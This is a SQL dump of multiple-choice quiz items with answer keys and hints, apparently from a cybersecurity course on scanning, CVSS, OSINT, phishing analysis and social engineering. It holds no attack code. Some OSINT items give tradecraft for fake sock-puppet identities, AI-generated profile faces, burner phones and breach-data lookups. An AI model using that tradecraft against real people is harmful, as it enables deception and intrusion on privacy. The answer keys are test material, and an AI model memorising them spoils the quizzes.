(5748, 96, 'How does a Time-Based SQLi test verify the vuln?', 2, 'Measures server delay', 0, 'Timing', '2025-12-26 22:11:01', '[\"Checks error text\", \"Measures server delay\", \"Crashing server\", \"Downloading DB\"]'),
(5749, 96, 'If a scanner hits a \"Contact Us\" form, what happens?', 3, 'Floods inbox with junk', 0, 'Spam', '2025-12-26 22:11:01', '[\"Nothing\", \"Floods inbox with junk\", \"Hacks email\", \"Server reboots\"]'),
(5750, 97, 'If a payload appears in the response, is it always XSS?', 1, 'No, headers/encoding matter', 0, 'False Positive', '2025-12-26 22:11:01', '[\"Yes\", \"No, headers/encoding matter\", \"Only in Chrome\", \"Never\"]'),
(5751, 97, 'Why do Custom 404 pages confuse scanners?', 2, 'They return 200 OK status', 0, 'Status Code', '2025-12-26 22:11:01', '[\"They are hidden\", \"They return 200 OK status\", \"They are slow\", \"They are encrypted\"]'),
(5752, 97, 'What defines a professional analyst reporting DAST results?', 3, 'Manual Verification', 0, 'Curating', '2025-12-26 22:11:01', '[\"Copy-Pasting\", \"Manual Verification\", \"Ignoring Lows\", \"Running in background\"]'),
(5753, 98, 'What is better than reporting 100 individual bugs?', 1, 'Reporting the systemic root cause', 0, 'Grouping', '2025-12-26 22:11:01', '[\"Reporting 1000 bugs\", \"Reporting the systemic root cause\", \"Ignoring them\", \"Quitting\"]'),
(5754, 98, 'What helps a developer understand \"Why\" they should fix it?', 2, 'Risk Explanation', 0, 'Impact', '2025-12-26 22:11:01', '[\"CVSS Score\", \"Risk Explanation\", \"Manager threats\", \"Compliance laws\"]'),
(5755, 98, 'What is a \"PoC\" in reporting?', 3, 'Proof of Concept (Reproduction steps)', 0, 'Evidence', '2025-12-26 22:11:01', '[\"Point of Contact\", \"Proof of Concept (Reproduction steps)\", \"Piece of Code\", \"Priority of Criticality\"]'),
(5756, 160, 'What is the verified first step in the Vulnerability Management Lifecycle?', 1, 'Asset Discovery', 0, 'Finding the machines', '2025-12-26 22:11:01', '[\"Remediation\", \"Asset Discovery\", \"Scanning\", \"Reporting\"]'),
(5757, 160, 'Why is \"Verification\" critical after patching?', 2, 'To ensure the patch actually fixed the issue', 0, 'Trust but verify', '2025-12-26 22:11:01', '[\"It increases billable hours\", \"To ensure the patch actually fixed the issue\", \"To verify the server is fast\", \"It is not critical\"]'),
(5758, 160, 'What term describes unknown/unmanaged systems on a network?', 3, 'Shadow IT', 0, 'Hidden', '2025-12-26 22:11:01', '[\"Dark Web\", \"Shadow IT\", \"Hidden Services\", \"Honeypots\"]'),
(5759, 160, 'Which scan type allows the scanner to log into the target?', 4, 'Authenticated Scan', 0, 'Credentialed', '2025-12-26 22:11:01', '[\"Unauthenticated Scan\", \"Stealth Scan\", \"Authenticated Scan\", \"Passive Scan\"]'),
(5760, 160, 'Which scan is better for an accurate inventory of installed software?', 5, 'Authenticated Scan', 0, 'Registry access', '2025-12-26 22:11:01', '[\"Unauthenticated Scan\", \"Port Scan\", \"Authenticated Scan\", \"Ping Sweep\"]');
INSERT INTO `lesson_questions` (`id`, `task_id`, `question_text`, `question_order`, `correct_answer`, `case_sensitive`, `hint`, `created_at`, `options`) VALUES
(5761, 160, 'What is the main drawback of relying on \"Banner Grabbing\"?', 6, 'Banners can be fake or suppressed', 0, 'Accuracy', '2025-12-26 22:11:01', '[\"It is illegal\", \"Banners can be fake or suppressed\", \"It crashes servers\", \"It takes too long\"]'),
(5762, 160, 'In CVSS, what does \"AV:N\" indicate?', 7, 'Attack Vector: Network', 0, 'Remote', '2025-12-26 22:11:01', '[\"Attack Vector: None\", \"Attack Vector: Network\", \"Anti-Virus: None\", \"Available: No\"]'),
(5763, 160, 'Which CVSS metric measures if the attacker needs someone to click a link?', 8, 'User Interaction (UI)', 0, 'Interaction', '2025-12-26 22:11:01', '[\"Privileges Required (PR)\", \"Attack Complexity (AC)\", \"User Interaction (UI)\", \"Scope (S)\"]'),
(5764, 160, 'A \"Scope Change\" (S:C) in CVSS means expecting what?', 9, 'Impact extending beyond the vulnerable component', 0, 'VM Escape', '2025-12-26 22:11:01', '[\"Impact extending beyond the vulnerable component\", \"Scope is confidential\", \"System crash\", \"No impact\"]'),
(5765, 160, 'Where should you place a scanner to avoid firewall interference?', 10, 'In the same network segment/zone as the target', 0, 'Local', '2025-12-26 22:11:01', '[\"On the internet\", \"In the same network segment/zone as the target\", \"In the DMZ only\", \"On a distinct VLAN\"]'),
(5766, 160, 'Which scan policy determines if a host is simply alive?', 11, 'Host Discovery', 0, 'Ping', '2025-12-26 22:11:01', '[\"Basic Network Scan\", \"Host Discovery\", \"Malware Scan\", \"Web App Scan\"]'),
(5767, 160, 'Why do we avoid aggressive scans on SCADA/ICS systems?', 12, 'They are fragile and may crash', 0, 'Availability', '2025-12-26 22:11:01', '[\"They are secure by default\", \"They are fragile and may crash\", \"They are mostly air-gapped\", \"Nessus cannot see them\"]'),
(5768, 160, 'What is the most important attribute when prioritizing patches?', 13, 'Exploitability (Is there a script?)', 0, 'Risk', '2025-12-26 22:11:01', '[\"CVSS Score only\", \"Alphabetical Order\", \"Exploitability (Is there a script?)\", \"Vendor Name\"]'),
(5769, 160, 'What does Tenable VPR add to the analysis?', 14, 'Real-time threat context', 0, 'Prediction', '2025-12-26 22:11:01', '[\"Nothing\", \"Real-time threat context\", \"Color coding\", \"PDF export\"]'),
(5770, 160, 'What is an \"Emergency\" patch typically reserved for?', 15, 'Zero-Day exploits', 0, 'Log4j scenario', '2025-12-26 22:11:01', '[\"Routine updates\", \"Feature releases\", \"Zero-Day exploits\", \"UI fixes\"]'),
(5771, 160, 'Why must you have a \"Rollback Plan\" before patching?', 16, 'To recover if the patch breaks the server', 0, 'Safety', '2025-12-26 22:11:01', '[\"To uninstall viruses\", \"To recover if the patch breaks the server\", \"Compliance requires it\", \"It is optional\"]'),
(5772, 160, 'Who maintains the official CVE list?', 17, 'MITRE', 0, 'The list owner', '2025-12-26 22:11:01', '[\"NIST\", \"MITRE\", \"Microsoft\", \"Google\"]'),
(5773, 160, 'What is the difference between CVE and CWE?', 18, 'CVE is the specific flaw, CWE is the category', 0, 'Instance vs Type', '2025-12-26 22:11:01', '[\"They are identical\", \"CVE is for software, CWE for hardware\", \"CVE is the specific flaw, CWE is the category\", \"CWE is the score\"]'),
(5774, 160, 'If you cannot patch a system, but isolate it with a firewall, this is called?', 19, 'Remediation (Mitigation)', 0, 'Compensating Control', '2025-12-26 22:11:01', '[\"Acceptance\", \"Remediation (Mitigation)\", \"Transference\", \"Avoidance\"]'),
(5775, 160, 'Buying Cyber Insurance is an example of which risk strategy?', 20, 'Transference', 0, 'Shifting costs', '2025-12-26 22:11:01', '[\"Avoidance\", \"Acceptance\", \"Transference\", \"Mitigation\"]'),
(5776, 181, 'What is the defining characteristic of OSINT?', 1, 'It uses publicly available information', 0, 'Public', '2025-12-26 22:15:15', '[\"It uses hacking tools\", \"It uses spy satellites\", \"It uses publicly available information\", \"It is always illegal\"]'),
(5777, 181, 'Is browsing a company\'s public website considered \"Hacking\"?', 2, 'No, it is Passive OSINT', 0, 'Passive', '2025-12-26 22:15:15', '[\"Yes, immediately\", \"No, it is Passive OSINT\", \"Only if you use Chrome\", \"Only if using VPN\"]'),
(5778, 181, 'Which method gives you information without alerting the target?', 3, 'Passive Reconnaissance', 0, 'Quiet', '2025-12-26 22:15:15', '[\"Active Scanning\", \"Passive Reconnaissance\", \"Phishing\", \"DDoS\"]'),
(5779, 182, 'What is the first step of the Intelligence Cycle?', 1, 'Planning & Direction', 0, 'Goal setting', '2025-12-26 22:15:15', '[\"Collection\", \"Planning & Direction\", \"Analysis\", \"Hacking\"]'),
(5780, 182, 'In which phase do you \"connect the dots\" to form a conclusion?', 2, 'Analysis', 0, 'Thinking', '2025-12-26 22:15:15', '[\"Collection\", \"Analysis\", \"Processing\", \"Scanning\"]'),
(5781, 182, 'What is the output of the \"Collection\" phase?', 3, 'Raw Data', 0, 'Unsorted stuff', '2025-12-26 22:15:15', '[\"Finished Report\", \"Raw Data\", \"Intelligence\", \"Arrests\"]'),
(5782, 183, 'What is a \"Sock Puppet\" in OSINT?', 1, 'A fake online identity', 0, 'Disguise', '2025-12-26 22:15:15', '[\"A hand puppet\", \"A fake online identity\", \"A hacking tool\", \"A VPN protocol\"]'),
(5783, 183, 'Why should you verify your VPN before starting?', 2, 'To hide your Source IP from the target', 0, 'Anonymity', '2025-12-26 22:15:15', '[\"To make internet faster\", \"To hide your Source IP from the target\", \"To access Netflix\", \"To save battery\"]'),
(5784, 183, 'Why use an AI-generated face for a fake profile?', 3, 'Avoids Reverse Image Search detection', 0, 'Uniqueness', '2025-12-26 22:15:15', '[\"It looks better\", \"Avoids Reverse Image Search detection\", \"Real photos are illegal\", \"It is faster\"]'),
(5785, 184, 'Which operator restricts results to a specific website?', 1, 'site:', 0, 'Domain limit', '2025-12-26 22:15:16', '[\"host:\", \"site:\", \"www:\", \"map:\"]'),
(5786, 184, 'How do you find specifically PDF files?', 2, 'filetype:pdf', 0, 'File extension', '2025-12-26 22:15:16', '[\"pdf:\", \"filetype:pdf\", \"ext:adobe\", \"doc:pdf\"]'),
(5787, 184, 'What does `intitle:\"index of\"` typically reveal?', 3, 'Open Directory Listings', 0, 'A list of files', '2025-12-26 22:15:16', '[\"The homepage\", \"Open Directory Listings\", \"Google Maps\", \"DNS records\"]'),
(5788, 185, 'What concept relies on users choosing the same handle everywhere?', 1, 'Username Correlation', 0, 'Reuse', '2025-12-26 22:15:16', '[\"Password Reuse\", \"Username Correlation\", \"Identity Theft\", \"Phishing\"]'),
(5789, 185, 'Which tool checks a username across hundreds of sites?', 2, 'Sherlock', 0, 'Detective', '2025-12-26 22:15:16', '[\"Nmap\", \"Sherlock\", \"Wireshark\", \"Metasploit\"]'),
(5790, 185, 'If a user deletes a post, where might you still find it?', 3, 'Wayback Machine / Archive', 0, 'Time travel', '2025-12-26 22:15:16', '[\"Recycle Bin\", \"Wayback Machine / Archive\", \"Dark Web\", \"Nowhere\"]'),
(5791, 186, 'What does \"HaveIBeenPwned\" tell you?', 1, 'If an email was part of a known breach', 0, 'Leak status', '2025-12-26 22:15:16', '[\"The user\'s password\", \"If an email was part of a known breach\", \"The user\'s location\", \"The user\'s bank\"]'),
(5792, 186, 'What is Hunter.io primarily used for?', 2, 'Finding corporate email formats', 0, 'Business emails', '2025-12-26 22:15:16', '[\"Hacking wifi\", \"Finding corporate email formats\", \"Tracing phones\", \"Buying guns\"]'),
(5793, 186, 'Why is old breach data useful?', 3, 'Password reuse', 0, 'Habits', '2025-12-26 22:15:16', '[\"It isn\'t\", \"Password reuse\", \" blackmail\", \"It proves they are dumb\"]'),
(5794, 187, 'What hidden data in a photo might reveal location?', 1, 'EXIF / GPS Data', 0, 'Metadata', '2025-12-26 22:15:16', '[\"Pixels\", \"EXIF / GPS Data\", \"Color profile\", \"File name\"]'),
(5795, 187, 'Which search engine is famous for its facial recognition capabilities?', 2, 'Yandex', 0, 'Russian one', '2025-12-26 22:15:16', '[\"Bing\", \"DuckDuckGo\", \"Yandex\", \"Yahoo\"]'),
(5796, 187, 'What does Reverse Image Search help you find?', 3, 'Where else the image appears online', 0, 'Sources', '2025-12-26 22:15:16', '[\"The person\'s name\", \"Where else the image appears online\", \"The camera model\", \"The password\"]'),
(5797, 188, 'What record functions as the \"birth certificate\" of a domain?', 1, 'WHOIS', 0, 'Registration', '2025-12-26 22:15:16', '[\"DNS\", \"WHOIS\", \"SSL\", \"HTTP\"]'),
(5798, 188, 'Why do we look for subdomains like \"dev.example.com\"?', 2, 'Often less secure / testing environments', 0, 'Weak targets', '2025-12-26 22:15:16', '[\"They look cool\", \"Often less secure / testing environments\", \"They represent the CEO\", \"They are faster\"]'),
(5799, 188, 'What does \"BuiltWith\" tell you?', 3, 'The technology stack used', 0, 'Tech', '2025-12-26 22:15:16', '[\"Who owns it\", \"The technology stack used\", \"The password\", \"The bugs\"]'),
(5800, 189, 'What tool maps Wifi SSIDs to GPS coordinates?', 1, 'Wigle.net', 0, 'Wifi map', '2025-12-26 22:15:16', '[\"Google Maps\", \"Wigle.net\", \"Shodan\", \"WifiCracker\"]'),
(5801, 189, 'What feature of Google Earth helps verify \"When\" a satellite image was taken?', 2, 'Historical Imagery', 0, 'Timeline', '2025-12-26 22:15:16', '[\"Street View\", \"Historical Imagery\", \"3D Buildings\", \"Atmosphere\"]'),
(5802, 189, 'How can SunCalc help in IMINT?', 3, 'Determine time of day from shadows', 0, 'Shadows', '2025-12-26 22:15:16', '[\"Find the weather\", \"Determine time of day from shadows\", \"Find solar panels\", \"Navigate\"]'),
(5803, 190, 'What does OSINT stand for?', 1, 'Open Source Intelligence', 0, 'Open Source', '2025-12-26 22:15:16', '[\"Open Source Intelligence\", \"Overseas Intelligence\", \"Online Security INTerface\", \"Open System Integration\"]'),
(5804, 190, 'Is Passive OSINT illegal?', 2, 'Generally No (accessing public data)', 0, 'No', '2025-12-26 22:15:16', '[\"Yes, always\", \"Generally No (accessing public data)\", \"Only in Europe\", \"Only for police\"]'),
(5805, 190, 'What is the best way to protect your identity during research?', 3, 'Use a Sock Puppet and VPN', 0, 'OPSEC', '2025-12-26 22:15:16', '[\"Clear cookies\", \"Use a Sock Puppet and VPN\", \"Use Incognito Mode\", \"Ask permission\"]'),
(5806, 190, 'Which Google Dork finds Excel files?', 4, 'filetype:xlsx', 0, 'Spreadsheet', '2025-12-26 22:15:16', '[\"file:excel\", \"filetype:xlsx\", \"type:xls\", \"ext:sheet\"]'),
(5807, 190, 'Which operator searches for text inside the URL?', 5, 'inurl:', 0, 'URL text', '2025-12-26 22:15:16', '[\"site:\", \"inurl:\", \"link:\", \"addr:\"]'),
(5808, 190, 'If you want to view a deleted page, what Google operator helps?', 6, 'cache:', 0, 'Snapshot', '2025-12-26 22:15:16', '[\"history:\", \"cache:\", \"old:\", \"back:\"]'),
(5809, 190, 'Which tool is best for checking username reuse across 300+ sites?', 7, 'Sherlock', 0, 'Python script', '2025-12-26 22:15:16', '[\"Nessus\", \"Sherlock\", \"John the Ripper\", \"Wireshark\"]'),
(5810, 190, 'What service helps you find the email format for a company (e.g., first.last)?', 8, 'Hunter.io', 0, 'Email patterns', '2025-12-26 22:15:16', '[\"HaveIBeenPwned\", \"Hunter.io\", \"Gmail\", \"Outlook\"]'),
(5811, 190, 'What does \"HaveIBeenPwned\" check?', 9, 'If an email is in a known data breach', 0, 'Breaches', '2025-12-26 22:15:16', '[\"The email password\", \"If an email is in a known data breach\", \"If the email is valid\", \"Who owns the email\"]'),
(5812, 190, 'Which search engine is preferred for facial recognition checks?', 10, 'Yandex', 0, 'Russian AI', '2025-12-26 22:15:16', '[\"Bing\", \"Google\", \"Yandex\", \"DuckDuckGo\"]'),
(5813, 190, 'What metadata in a photo provides GPS coordinates?', 11, 'EXIF', 0, 'Tags', '2025-12-26 22:15:16', '[\"Pixel\", \"EXIF\", \"PNG\", \"Stenography\"]'),
(5814, 190, 'What tool lets you search for Wifi hotspots by SSID?', 12, 'Wigle.net', 0, 'War driving DB', '2025-12-26 22:15:16', '[\"WifiMap\", \"Wigle.net\", \"Google Wifi\", \"NetStumbler\"]'),
(5815, 190, 'What record tells you who owns a domain name?', 13, 'WHOIS', 0, 'Registry', '2025-12-26 22:15:16', '[\"DNS\", \"WHOIS\", \"ARP\", \"DHCP\"]'),
(5816, 190, 'What tool visualizes domain infrastructure and subdomains as a graph?', 14, 'DNSDumpster', 0, 'Graph', '2025-12-26 22:15:16', '[\"Nmap\", \"DNSDumpster\", \"Ping\", \"Traceroute\"]'),
(5817, 190, 'Why are subdomains like \"dev\" or \"staging\" valuable targets?', 15, 'Often have weaker security/config', 0, 'Forgotten', '2025-12-26 22:15:16', '[\"They are faster\", \"Often have weaker security/config\", \"They are public\", \"They have more money\"]'),
(5818, 190, 'What is the \"Intelligence Cycle\" step where you interpret data?', 16, 'Analysis', 0, 'Reasoning', '2025-12-26 22:15:16', '[\"Collection\", \"Analysis\", \"Planning\", \"Filing\"]'),
(5819, 190, 'What is a \"Grey Hat\" OSINT source?', 17, 'Semi-legal/paid breach data sites', 0, 'DeHashed', '2025-12-26 22:15:16', '[\"Government sites\", \"Semi-legal/paid breach data sites\", \"News sites\", \"Libraries\"]'),
(5820, 190, 'Why should you verify \"Sock Puppets\" with a burner phone?', 18, 'Platforms require SMS verification', 0, '2FA', '2025-12-26 22:15:16', '[\"To call the target\", \"Platforms require SMS verification\", \"To look cool\", \"It is cheaper\"]'),
(5821, 190, 'What is \"Google Hacking\"?', 19, 'Using advanced operators to find sensitive info', 0, 'Dorking', '2025-12-26 22:15:16', '[\"Hacking Google servers\", \"Using advanced operators to find sensitive info\", \"Phishing Google employees\", \"Using Chrome\"]'),
(5822, 190, 'What is the primary risk of \"Active\" recon (like port scanning)?', 20, 'It generates logs/alerts on the target', 0, 'Detection', '2025-12-26 22:15:16', '[\"It is slow\", \"It generates logs/alerts on the target\", \"It costs money\", \"Nothing\"]'),
(5823, 191, 'Which header field usually matches the actual Envelope Sender?', 1, 'Return-Path', 0, 'Return', '2025-12-26 22:17:47', '[\"Reply-To\", \"Return-Path\", \"From\", \"Subject\"]'),
(5824, 191, 'If \"From\" is \"ceo@company.com\" but \"Return-Path\" is \"hacker@gmail.com\", what is this called?', 2, 'Spoofing', 0, 'Mismatch', '2025-12-26 22:17:47', '[\"Phishing\", \"Spoofing\", \"Spam\", \"Relaying\"]'),
(5825, 191, 'Are \"Message Headers\" authenticated by default?', 3, 'No, they can be easily faked', 0, 'No', '2025-12-26 22:17:47', '[\"Yes, strictly\", \"No, they can be easily faked\", \"Only on Gmail\", \"Only on Outlook\"]'),
(5826, 192, 'Which protocol uses a DNS list of allowed Sender IPs?', 1, 'SPF', 0, 'Sender Policy', '2025-12-26 22:17:47', '[\"SPF\", \"DKIM\", \"DMARC\", \"POP3\"]'),
(5827, 192, 'What does DKIM prevent?', 2, 'Tampering / Modification', 0, 'Integrity', '2025-12-26 22:17:47', '[\"Spoofing IP\", \"Tampering / Modification\", \"Spam\", \"Viruses\"]'),
(5828, 192, 'If DMARC policy is \"p=reject\", what happens to spoofed emails?', 3, 'They are blocked/deleted', 0, 'Reject', '2025-12-26 22:17:47', '[\"Delivered to Inbox\", \"Sent to Spam\", \"They are blocked/deleted\", \"Returned to sender\"]'),
(5829, 193, 'What is \"Typosquatting\"?', 1, 'Registering a domain that looks like the real one', 0, 'Misspelling', '2025-12-26 22:17:47', '[\"Hacking DNS\", \"Registering a domain that looks like the real one\", \"Stealing passwords\", \"Deleting data\"]'),
(5830, 193, 'The \"From\" header says \"tesla-corp.io\". Why is this suspicious?', 2, 'It is not the official trusted domain', 0, 'Fake domain', '2025-12-26 22:17:47', '[\"It is too long\", \"It is not the official trusted domain\", \"It uses hyphens\", \"It is fine\"]'),
(5831, 193, 'What psychological trigger is used in \"URGENT WIRE TRANSFER\"?', 3, 'Urgency / Panic', 0, 'Fear', '2025-12-26 22:17:47', '[\"Greed\", \"Urgency / Panic\", \"Curiosity\", \"Authority\"]'),
(5832, 194, 'Why is \"file.pdf.exe\" dangerous?', 1, 'Windows hides the .exe extension', 0, 'Double extension', '2025-12-26 22:17:47', '[\"It is a PDF\", \"Windows hides the .exe extension\", \"It is corrupt\", \"It is encrypted\"]'),
(5833, 194, 'What is the first safe step when you have a suspicious file?', 2, 'Hash it and check VirusTotal', 0, 'Hashing', '2025-12-26 22:17:47', '[\"Open it\", \"Hash it and check VirusTotal\", \"Email it to IT\", \"Rename it\"]'),
(5834, 194, 'What does \"X-PHP-Originating-Script\" usually indicate?', 3, 'Sent via a web script/bot', 0, 'Automated', '2025-12-26 22:17:47', '[\"Sent by Outlook\", \"Sent via a web script/bot\", \"Sent by Gmail\", \"Legitimate marketing\"]'),
(5835, 195, 'What does \"Defanging\" a URL mean?', 1, 'Making it unclickable', 0, 'Safety', '2025-12-26 22:17:47', '[\"Deleting it\", \"Making it unclickable\", \"Encrypting it\", \"Clicking it\"]'),
(5836, 195, 'If SPF fails for \"microsoft.com\", what does it mean?', 2, 'The sender IP is not Microsoft', 0, 'Spoofing', '2025-12-26 22:17:47', '[\"Microsoft is down\", \"The sender IP is not Microsoft\", \"The email is legitimate\", \"DNS is broken\"]'),
(5837, 195, 'What is suspicious about \"login.microsoft.com.xyz\"?', 3, 'The TLD is .xyz, not .com', 0, 'Fake domain', '2025-12-26 22:17:47', '[\"It is too short\", \"The TLD is .xyz, not .com\", \"It contains login\", \"It is secure\"]'),
(5838, 196, 'What is the TRUE sender address (Return-Path)?', 1, 'support-ticket-882@gmail.com', 0, 'Return Path', '2025-12-26 22:17:47', '[\"admin@company.com\", \"support-ticket-882@gmail.com\", \"victim@company.com\", \"mail.attacker-infrastructure.net\"]'),
(5839, 196, 'Who does the email CLAIM to be from (Display Name)?', 2, 'IT Service Desk', 0, 'Fake Name', '2025-12-26 22:17:47', '[\"Support Ticket\", \"IT Service Desk\", \"Gmail Team\", \"HR\"]'),
(5840, 196, 'Look at the X-Mailer. What software sent this?', 3, 'OstroMail v1.2 (Mass Mailer)', 0, 'Mass Mailer', '2025-12-26 22:17:47', '[\"Outlook\", \"Gmail\", \"OstroMail v1.2 (Mass Mailer)\", \"iPhone Mail\"]'),
(5841, 196, 'Did SPF pass or fail?', 4, 'Pass', 0, 'Pass', '2025-12-26 22:17:47', '[\"Fail\", \"SoftFail\", \"Pass\", \"Neutral\"]'),
(5842, 196, 'Why is this suspicious, despite SPF passing?', 5, 'Sender authenticated as Gmail, but spoofed Company header', 0, 'Mismatch', '2025-12-26 22:17:47', '[\"SPF failed\", \"Sender authenticated as Gmail, but spoofed Company header\", \"It came from Microsoft\", \"The date is wrong\"]'),
(5843, 201, 'Which principle relies on the target\'s fear of disobeying a superior?', 1, 'Authority', 0, 'Boss', '2025-12-26 22:28:54', '[\"Reciprocity\", \"Authority\", \"Liking\", \"Consistency\"]'),
(5844, 201, '\"Act now or lose your account!\" exploits which psychological trigger?', 2, 'Urgency / Scarcity', 0, 'Panic', '2025-12-26 22:28:54', '[\"Trust\", \"Urgency / Scarcity\", \"Social Proof\", \"Kindness\"]'),
(5845, 201, 'What is the best immediate defense when you feel \"rushed\" by a request?', 3, 'Stop and Verify', 0, 'Pause', '2025-12-26 22:28:54', '[\"Do it quickly\", \"Stop and Verify\", \"Argue\", \"Ignore it\"]'),
(5846, 202, 'What is \"Pretexting\"?', 1, 'Creating a fake scenario to trick a victim', 0, 'Story', '2025-12-26 22:28:54', '[\"Guessing passwords\", \"Creating a fake scenario to trick a victim\", \"Scanning ports\", \"Coding malware\"]'),
(5847, 202, 'Who is a common persona for attackers to impersonate?', 2, 'IT Support', 0, 'Help Desk', '2025-12-26 22:28:54', '[\"The Janitor\", \"IT Support\", \"A stranger\", \"A dog\"]'),
(5848, 202, 'How do you defeat an impersonator on the phone?', 3, 'Call them back on a verified number', 0, 'Callback', '2025-12-26 22:28:54', '[\"Ask their name\", \"Call them back on a verified number\", \"Yell at them\", \"Tracing the call\"]'),
(5849, 203, 'What is \"Vishing\"?', 1, 'Phishing conducted over the phone', 0, 'Voice', '2025-12-26 22:28:54', '[\"Video Phishing\", \"Phishing conducted over the phone\", \"Virtual Fishing\", \"Virus Phishing\"]'),
(5850, 203, 'Why is Caller ID not a reliable way to verify a caller?', 2, 'It can be easily spoofed', 0, 'Fake numbers', '2025-12-26 22:28:54', '[\"It is encrypted\", \"It can be easily spoofed\", \"It costs money\", \"It is old tech\"]'),
(5851, 203, 'What payment method is a major red flag for scam calls?', 3, 'Gift Cards', 0, 'iTunes', '2025-12-26 22:28:54', '[\"Credit Card\", \"Gift Cards\", \"Wire Transfer\", \"Check\"]'),
(5852, 204, 'What makes Smishing URLs harder to inspect than email URLs?', 1, 'Mobile interfaces make hovering/previewing difficult', 0, 'No mouse', '2025-12-26 22:28:54', '[\"They are encrypted\", \"Mobile interfaces make hovering/previewing difficult\", \"They are faster\", \"They are secure\"]'),
(5853, 204, 'What is a common \"Lure\" for SMS attacks?', 2, 'Missed package delivery', 0, 'USPS', '2025-12-26 22:28:54', '[\"Free pizza\", \"Missed package delivery\", \"Weather alert\", \"News update\"]'),
(5854, 204, 'If you get a suspicious text from your \"Bank\", what should you do?', 3, 'Log in via the official App or Website', 0, 'Direct access', '2025-12-26 22:28:54', '[\"Click the link\", \"Log in via the official App or Website\", \"Reply STOP\", \"Call the number in the text\"]'),
(5855, 205, 'What constitutes \"Tailgating\"?', 1, 'Following someone into a secure area without badging in', 0, 'Piggyback', '2025-12-26 22:28:54', '[\"Driving too close\", \"Following someone into a secure area without badging in\", \"Breaking a lock\", \"Hacking a badge reader\"]'),
(5856, 205, 'How do attackers exploit \"politeness\" to bypass physical security?', 2, 'Holding the door for someone carrying items', 0, 'Heavy box', '2025-12-26 22:28:54', '[\"Buying lunch\", \"Holding the door for someone carrying items\", \"Saying please\", \"Dressing nice\"]'),
(5857, 205, 'What is the primary defense against Dumpster Diving?', 3, 'Shredding sensitive documents', 0, 'Shred', '2025-12-26 22:28:54', '[\"Burning trash\", \"Shredding sensitive documents\", \"Recycling\", \"Hiding trash\"]'),
(5858, 206, 'What is a \"USB Drop\" attack?', 1, 'Leaving an infected USB drive for a victim to find', 0, 'Bait', '2025-12-26 22:28:54', '[\"Throwing USBs at people\", \"Leaving an infected USB drive for a victim to find\", \"Stealing USBs\", \"Buying USBs\"]'),
(5859, 206, 'What human emotion does Baiting primarily exploit?', 2, 'Curiosity', 0, 'Wonder', '2025-12-26 22:28:54', '[\"Fear\", \"Curiosity\", \"Greed\", \"Sadness\"]'),
(5860, 206, 'How does Quid Pro Quo differ from Baiting?', 3, 'It involves an exchange of service/help', 0, 'Exchange', '2025-12-26 22:28:54', '[\"It is faster\", \"It involves an exchange of service/help\", \"It is digital only\", \"It uses email\"]'),
(5861, 207, 'Which Cialdini principle explains why people comply with requests from \"The CEO\"?', 1, 'Authority', 0, 'Boss', '2025-12-26 22:28:54', '[\"Liking\", \"Authority\", \"Scarcity\", \"Reciprocity\"]'),
(5862, 207, 'If an attacker does you a favor to make you feel obligated, which principle is this?', 2, 'Reciprocity', 0, 'Owe me', '2025-12-26 22:28:54', '[\"Social Proof\", \"Reciprocity\", \"Authority\", \"Commitment\"]'),
(5863, 207, '\"Only 2 spots left!\" is an example of:', 3, 'Scarcity', 0, 'Rare', '2025-12-26 22:28:54', '[\"Authority\", \"Scarcity\", \"Consistency\", \"Liking\"]'),
(5864, 207, 'What is the best way to verify a \"Bank\" calling you?', 4, 'Hang up and call the number on your card', 0, 'Source of truth', '2025-12-26 22:28:54', '[\"Ask for their ID\", \"Hang up and call the number on your card\", \"Trust Caller ID\", \"Ask for a supervisor\"]'),
(5865, 207, 'What is \"Pretexting\"?', 5, 'Creating a fabricated scenario to obtain info', 0, 'Lying scenario', '2025-12-26 22:28:54', '[\"Using text messages\", \"Creating a fabricated scenario to obtain info\", \"Pre-authorized scanning\", \"Testing backups\"]'),
(5866, 207, 'Which technology has made Vishing much more dangerous recently?', 6, 'AI Voice Cloning / Deepfakes', 0, 'AI', '2025-12-26 22:28:54', '[\"5G\", \"AI Voice Cloning / Deepfakes\", \"Fiber Optics\", \"VoIP\"]'),
(5867, 207, 'Why are shortened URLs (bit.ly) dangerous in SMS?', 7, 'They hide the true destination', 0, 'Obfuscation', '2025-12-26 22:28:54', '[\"They are slow\", \"They hide the true destination\", \"They cost money\", \"They assume HTTP\"]'),
(5868, 207, 'What is the term for Phishing via SMS?', 8, 'Smishing', 0, 'SMS', '2025-12-26 22:28:54', '[\"Vishing\", \"Smishing\", \"Phishing\", \"Texting\"]'),
(5869, 207, 'Where should you report spam texts?', 9, '7726 (SPAM)', 0, 'Carrier code', '2025-12-26 22:28:54', '[\"911\", \"7726 (SPAM)\", \"The Police\", \"Your Mom\"]'),
(5870, 207, 'What is \"Tailgating\"?', 10, 'Following an authorized person through a secure door', 0, 'Piggybacking', '2025-12-26 22:28:54', '[\"Driving close\", \"Following an authorized person through a secure door\", \"Hacking the lock\", \"Climbing the fence\"]'),
(5871, 207, 'What is the counter-measure for \"Dumpster Diving\"?', 11, 'Shredding documents', 0, 'Destruction', '2025-12-26 22:28:54', '[\"Recycling\", \"Shredding documents\", \"burning\", \"hiding\"]'),
(5872, 207, 'What is \"Shoulder Surfing\"?', 12, 'Looking at someone\'s screen/keyboard to steal info', 0, 'Peeking', '2025-12-26 22:28:54', '[\"Massaging shoulders\", \"Looking at someone\'s screen/keyboard to steal info\", \"Surfing the web\", \"Hacking wifi\"]'),
(5873, 207, 'If you find a USB drive labeled \"Payroll\" in the lobby, what should you do?', 13, 'Do not plug it in; give to Security', 0, 'Quarantine', '2025-12-26 22:28:54', '[\"Plug it in to check\", \"Do not plug it in; give to Security\", \"Throw it away\", \"Keep it\"]'),
(5874, 207, 'Establishing a fake \"Free WiFi\" spot to steal data is called:', 14, 'Evil Twin', 0, 'WiFi Clone', '2025-12-26 22:28:54', '[\"Bad Twin\", \"Evil Twin\", \"Good Twin\", \"Rogue AP\"]'),
(5875, 207, '\"Quid Pro Quo\" means:', 15, 'Something for Something', 0, 'Exchange', '2025-12-26 22:28:54', '[\"Free for all\", \"Something for Something\", \"Nothing for Nothing\", \"Quick Pro\"]'),
(5876, 207, 'What is the weakest link in most security systems?', 16, 'The Human', 0, 'People', '2025-12-26 22:28:54', '[\"The Firewall\", \"The Human\", \"The Encryption\", \"The Password\"]'),
(5877, 207, 'Does Social Engineering always involve a computer?', 17, 'No (Physical/Phone)', 0, 'No', '2025-12-26 22:28:54', '[\"Yes\", \"No (Physical/Phone)\", \"Maybe\", \"Only on Tuesdays\"]'),
